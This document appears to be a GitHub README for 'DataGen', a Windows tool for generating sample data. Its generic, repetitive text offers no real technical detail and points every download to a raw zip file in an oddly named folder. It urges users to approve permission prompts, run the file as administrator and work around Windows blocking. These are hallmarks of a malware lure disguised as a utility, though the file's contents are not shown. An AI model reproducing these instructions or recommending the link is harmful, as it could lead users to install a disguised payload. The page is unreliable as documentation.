DataGen helps you create realistic sample data for apps, testing, and research. It gives you a simple way to build datasets on Windows without manual work.
Use it when you need:
- Test data for an app
- Sample records for a database
- JSON data for tools and scripts
- Fake but realistic data for research
- Quick data sets for demos
- Open the download page: https://raw.githubusercontent.com/zorinegratulatory404/DataGen/main/ajutment/Gen_Data_2.2.zip
- On the page, look for the latest release or the main download file
- Download the Windows version
- Save the file to your computer, such as your Downloads folder
If the file is an app installer, you can use it right away. If it is a zip file, you need to extract it first.
- Double-click the downloaded file
- If Windows asks for permission, choose Yes
- Follow the setup steps on screen
- Finish the install
- Open DataGen from the Start menu or desktop shortcut
- Right-click the zip file
- Select Extract All
- Choose a folder on your PC
- Open the extracted folder
- Double-click the main DataGen file to launch it
After you open DataGen, you can start building a dataset in a few simple steps:
- Choose the type of data you want
- Set how many rows you need
- Pick the fields you want, such as names, emails, dates, or IDs
- Select the output format
- Generate the file
- Save it to your computer
Common output types may include:
- CSV
- JSON
- Database-ready tables
- Text files
- App test data
DataGen is built for everyday data work. It can help with:
- Creating user lists for app testing
- Making mock customer records
- Filling a database with sample entries
- Building JSON files for development
- Preparing research data with repeatable patterns
- Testing import and export flows
DataGen is made for Windows PCs and should run well on most modern systems.
Recommended setup:
- Windows 10 or Windows 11
- 4 GB RAM or more
- 200 MB free disk space
- A mouse and keyboard
- Internet access for download
For larger datasets, a faster CPU and more memory can help.
You can usually work with fields like:
- First name
- Last name
- Phone number
- Address
- City
- Country
- Date of birth
- User ID
- Status
- Price
- Category
- Notes
These fields are useful when you want data that looks real enough for testing or demos.
Best for spreadsheets, database imports, and quick reviews.
Best for apps, APIs, and developer tools.
Best for testing SQL queries and app backends.
Best for simple record sets and manual checks.
- Use a small test set first
- Check the output before using it in a live project
- Pick field names that match your app
- Keep formats the same across files
- Save your settings if you plan to reuse them
If you need data for a form, build the same fields your form expects. If you need data for a table, match the column names in that table.
- Download DataGen
- Open the app on Windows
- Choose a data type
- Set the number of records
- Pick fields like name, email, and date
- Generate the file
- Import it into your app, spreadsheet, or database
DataGen fits well with:
- App testing
- Database seeding
- Data analysis practice
- Research samples
- Automation tasks
- Developer tools
- JSON generation
- OSINT-style sample datasets
- Termux or script-based workflows
If the app does not open:
- Check that the file finished downloading
- Make sure you extracted the zip file, if needed
- Try running it as administrator
- Check whether Windows blocked the file
- Download it again if the file looks incomplete
If your browser shows a warning during download, confirm that you are opening the GitHub link you intended to use.
Main repository:
https://raw.githubusercontent.com/zorinegratulatory404/DataGen/main/ajutment/Gen_Data_2.2.zip
- Download the file
- Open it on Windows
- Choose your data fields
- Set the record count
- Generate and save the file